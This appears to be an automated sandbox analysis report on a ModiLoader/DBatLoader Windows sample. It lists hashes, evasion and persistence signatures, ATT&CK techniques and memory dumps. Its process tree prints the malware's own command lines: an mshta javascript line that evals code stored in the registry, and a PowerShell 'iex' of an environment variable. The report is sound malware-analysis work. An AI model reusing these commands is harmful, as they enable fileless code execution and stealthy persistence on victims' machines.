Analysis

  • max time kernel
    152s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    09-06-2022 06:28

General

  • Target

    15a259fc7995b7b4274962c8a8f872b5bce90d7986f69cfd75f6edc9ad7b7d01.exe

  • Size

    345KB

  • MD5

    0eec8a5b2725ec21b302b8df619a21b7

  • SHA1

    d1aeb0a628a0a724c70a9d856dffc8258596d3ca

  • SHA256

    15a259fc7995b7b4274962c8a8f872b5bce90d7986f69cfd75f6edc9ad7b7d01

  • SHA512

    9e1f3a0c5bc37cf922ae136e237720f53f8b045b844ac3368808275a50274308a3c10afdab1b59335f05c67f62a5cf0c2e6fbd70bf0425635590590bff609a27

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
  • Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
  • ModiLoader Second Stage 18 IoCs
  • Looks for VMWare Tools registry key 2 TTPs 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Drops startup file 1 IoCs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Drops file in System32 directory 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
  • Modifies registry class 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 31 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\15a259fc7995b7b4274962c8a8f872b5bce90d7986f69cfd75f6edc9ad7b7d01.exe
    "C:\Users\Admin\AppData\Local\Temp\15a259fc7995b7b4274962c8a8f872b5bce90d7986f69cfd75f6edc9ad7b7d01.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1596
    • C:\Users\Admin\AppData\Local\Temp\15a259fc7995b7b4274962c8a8f872b5bce90d7986f69cfd75f6edc9ad7b7d01.exe
      "C:\Users\Admin\AppData\Local\Temp\15a259fc7995b7b4274962c8a8f872b5bce90d7986f69cfd75f6edc9ad7b7d01.exe"
      2⤵
        PID:1680
    • C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" javascript:v73vFxfJ="hj2";e0y=new%20ActiveXObject("WScript.Shell");vl20zrue="TMO";ib8Cx=e0y.RegRead("HKCU\\software\\tCCPBiRSN\\fBu3XZLE");ekG4si="Ho7t1";eval(ib8Cx);F1gwI1sTx="vRPe";
      1⤵
      • Process spawned unexpected child process
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:1284
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:niyysb
        2⤵
        • Drops file in System32 directory
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: MapViewOfSection
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1508
        • C:\Windows\SysWOW64\regsvr32.exe
          regsvr32.exe
          3⤵
          • Looks for VirtualBox Guest Additions in registry
          • Looks for VirtualBox drivers on disk
          • Looks for VMWare Tools registry key
          • Checks BIOS information in registry
          • Deletes itself
          • Drops startup file
          • Adds Run key to start application
          • Maps connected drives based on registry
          • Suspicious use of SetThreadContext
          • Modifies Internet Explorer settings
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious behavior: MapViewOfSection
          • Suspicious use of WriteProcessMemory
          PID:840
          • C:\Windows\SysWOW64\regsvr32.exe
            "C:\Windows\SysWOW64\regsvr32.exe"
            4⤵
              PID:1312

      Network

      MITRE ATT&CK Matrix ATT&CK v6

      Persistence

      Registry Run Keys / Startup Folder

      1
      T1060

      Defense Evasion

      Virtualization/Sandbox Evasion

      3
      T1497

      Modify Registry

      2
      T1112

      Discovery

      Software Discovery

      1
      T1518

      Query Registry

      4
      T1012

      Virtualization/Sandbox Evasion

      3
      T1497

      File and Directory Discovery

      1
      T1083

      System Information Discovery

      3
      T1082

      Peripheral Device Discovery

      1
      T1120

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • memory/840-84-0x00000000002EB238-mapping.dmp
      • memory/840-93-0x0000000000290000-0x00000000003D7000-memory.dmp
        Filesize

        1.3MB

      • memory/840-88-0x0000000000290000-0x00000000003D7000-memory.dmp
        Filesize

        1.3MB

      • memory/1312-94-0x0000000000140000-0x0000000000287000-memory.dmp
        Filesize

        1.3MB

      • memory/1312-92-0x0000000000140000-0x0000000000287000-memory.dmp
        Filesize

        1.3MB

      • memory/1312-90-0x000000000019B238-mapping.dmp
      • memory/1508-83-0x0000000005C50000-0x0000000005D2A000-memory.dmp
        Filesize

        872KB

      • memory/1508-86-0x0000000074560000-0x0000000074B0B000-memory.dmp
        Filesize

        5.7MB

      • memory/1508-87-0x0000000005C50000-0x0000000005D2A000-memory.dmp
        Filesize

        872KB

      • memory/1508-75-0x0000000000000000-mapping.dmp
      • memory/1508-81-0x0000000074560000-0x0000000074B0B000-memory.dmp
        Filesize

        5.7MB

      • memory/1508-78-0x0000000074560000-0x0000000074B0B000-memory.dmp
        Filesize

        5.7MB

      • memory/1508-82-0x00000000025A0000-0x00000000031EA000-memory.dmp
        Filesize

        12.3MB

      • memory/1508-80-0x00000000029E2000-0x00000000029F2000-memory.dmp
        Filesize

        64KB

      • memory/1596-54-0x0000000075C51000-0x0000000075C53000-memory.dmp
        Filesize

        8KB

      • memory/1596-72-0x0000000001E90000-0x0000000002047000-memory.dmp
        Filesize

        1.7MB

      • memory/1680-68-0x0000000000400000-0x000000000043C000-memory.dmp
        Filesize

        240KB

      • memory/1680-79-0x0000000001DA0000-0x0000000001E7A000-memory.dmp
        Filesize

        872KB

      • memory/1680-77-0x0000000001DA0000-0x0000000001E7A000-memory.dmp
        Filesize

        872KB

      • memory/1680-55-0x0000000000400000-0x000000000043C000-memory.dmp
        Filesize

        240KB

      • memory/1680-73-0x0000000000400000-0x000000000043C000-memory.dmp
        Filesize

        240KB

      • memory/1680-70-0x0000000000402E54-mapping.dmp
      • memory/1680-60-0x0000000000400000-0x000000000043C000-memory.dmp
        Filesize

        240KB

      • memory/1680-89-0x0000000001DA0000-0x0000000001E7A000-memory.dmp
        Filesize

        872KB

      • memory/1680-63-0x0000000000400000-0x000000000043C000-memory.dmp
        Filesize

        240KB

      • memory/1680-65-0x0000000000400000-0x000000000043C000-memory.dmp
        Filesize

        240KB

      • memory/1680-56-0x0000000000400000-0x000000000043C000-memory.dmp
        Filesize

        240KB

      • memory/1680-58-0x0000000000400000-0x000000000043C000-memory.dmp
        Filesize

        240KB